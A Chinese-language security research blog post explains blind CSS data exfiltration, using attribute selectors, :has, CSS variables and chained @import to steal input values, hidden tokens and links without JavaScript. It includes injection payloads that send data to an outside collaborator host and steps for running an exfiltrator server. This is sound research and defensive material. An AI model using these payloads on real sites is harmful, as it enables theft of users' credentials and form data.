盲CSS数据外泄:利用CSS窃取未知网页内容的技术解析

本文详细介绍了利用CSS选择器和:has伪类实现盲CSS数据外泄的技术,包括属性选择器、CSS变量、@import链式请求等高级技巧,可在无法执行JavaScript的情况下窃取表单数据、链接等敏感信息。

盲CSS数据外泄:窃取未知网页内容

数据外泄过程GIF

CSS Cafe演示

我在CSS Cafe上展示了这项技术,幻灯片可在此获取:盲CSS数据外泄幻灯片

为什么需要盲CSS数据外泄?

假设你发现了一个盲HTML注入漏洞,但由于网站的CSP策略或服务器端/DOM过滤器(如DOMPurify)无法实现XSS。虽然JavaScript被禁用,但样式允许使用——毕竟只是样式,能造成什么危害呢?本文将回顾使用属性选择器提取数据的已知技术,并展示利用全新的:has选择器实现表单元素和锚标签大规模提取的创新方法。

确认样式注入

首先需要确认参数中可注入样式。使用Burp Collaborator注入带合作载荷的@import规则:

1
"><style>@import'//YOUR-PAYLOAD.oastify.com'</style>

通过带外应用安全测试(OAST)确认Collaborator的交互后,即可确认样式注入能力。此时你面对的是完全未知的页面结构——这就是盲CSS注入!

使用CSS变量触发请求

要通过外部服务器获取数据,需要触发请求。CSS变量在此充当开关机制,通过背景图像实现条件请求:

1
2
3
4
5
6
7
8
9
<input value=1337>
<style>
input[value="1337"] {
   --value: url(/collectData?value=1337);
}
input {
   background:var(--value,none);
}
</style>

此例定义"–value"变量,当输入值匹配时设置为背景图像,回退值"none"确保变量未定义时的兼容性。

使用属性选择器提取数据

属性选择器能检测属性值的起始、结束或包含特定字符,是CSS外泄的核心技术:

1
2
3
4
5
6
7
8
<style>
input[value^="a"] {
  --starts-with-a:url(/startsWithA);
}
input{
   background: var(--starts-with-a,none);
}
</style>

当输入值以"a"开头时,将向/startsWithA发送请求。

利用:has选择器提取子节点数据

:has选择器可与属性选择器结合,即使目标元素(如隐藏输入)本身不支持背景请求也能实现数据外泄:

1
2
3
4
5
6
<div><input type=hidden value=1337></div>
<style>
div:has(input[value="1337"]) {
  background:url(/collectData?value=1337);
}
</style>

:has选择器就像返回左侧元素的函数,当子节点匹配选择器时触发样式变化。

利用HTML选择器实现结构无关请求

通过HTML标签设置背景可避免被页面样式覆盖,因为几乎没有网站会为HTML元素设置背景。CSS的层叠特性确保一旦设置属性,后续相同或更高特异性的赋值会覆盖前者。

结合:has和:not选择器识别多个未知元素

使用:not()选择器可在枚举值后排除已处理元素,逐步处理同类型元素:

1
2
3
4
5
<style>
html:has(input[name^="m"]):not(input[name="mytoken"]) {
  background:url(/m);
}
</style>

这种方法优雅且不会显著增加CSS文件大小。

使用@import链式请求提取大量数据

借鉴d0nut和Pepe Vila的技术,使用@import链式请求可快速获取大量数据。通过阻塞CSS响应直到准备好处理下一数据块,实现高效数据提取。

使用多背景发送无限请求

通过CSS变量为HTML元素背景属性分配多个背景图像,利用回退值确保只有在发现字符时才发送请求,避免无效赋值。

完整实现

综合以上技术,盲CSS外泄工具可提取输入框名称和值、文本区域名称属性、表单动作甚至锚链接,支持几乎所有ASCII字符。源代码可在[GitHub](Blind CSS Exfiltrator)获取。

使用说明

  1. 从GitHub获取源代码
  2. 运行命令启动服务器:
1
node css-exfiltrator-server.js
  1. 通过@import请求启动外泄过程:
1
<style>@import 'http://localhost:5001/start';</style>

建议在支持H2的服务器上运行,避免预检请求问题。可通过Apache的ProxyPass规则转发请求。

结果显示

默认在服务器控制台和浏览器中同时显示结果。可通过设置SHOW_RESULTS_IN_BROWSER为false禁用浏览器显示。

演示

可通过PortSwigger实验室体验外泄演示(每个IP仅限一次):

1
<style>@import 'https://portswigger-labs.net/blind-css-exfiltration/start';</style>

注意:本文涉及安全研究内容,请仅在合法授权测试中使用这些技术。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计